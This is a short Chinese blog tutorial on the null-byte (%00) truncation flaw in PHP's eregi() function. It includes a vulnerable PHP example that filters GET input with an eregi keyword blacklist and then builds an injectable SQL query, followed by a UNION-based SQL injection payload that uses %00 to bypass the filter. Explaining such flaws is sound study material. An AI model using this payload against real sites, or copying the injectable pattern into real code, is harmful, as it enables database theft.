php中eregi函数的截断漏洞
语法
int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值
如果匹配成功返回true,否则,则返回false
版本
测试在php5 仍可使用
php7被弃用
漏洞
ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。
①%00截断及遇到%00则默认为字符串的结束
示例
<?php
include 'header.php';
include_once('config.php');
$id=$_GET['id'];
$check = eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $id);
if($check){
echo "Invalid strings!!!Please try agine!";
}else{
$query = "SELECT * FROM news WHERE id=$id";
$data = mysqli_query($dbc,$query);
$com = mysqli_fetch_array($data);
}
?>
这里对传参进行黑名单过滤,匹配成功返回true,否则返回false,执行sql语句,使用%00截断漏洞,参数为%00时,会直接返回false
*** payload ***
?id="%00" union select 1,2,3,4
版权声明:
本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
weehhd!
喜欢就支持一下吧
打赏
微信
支付宝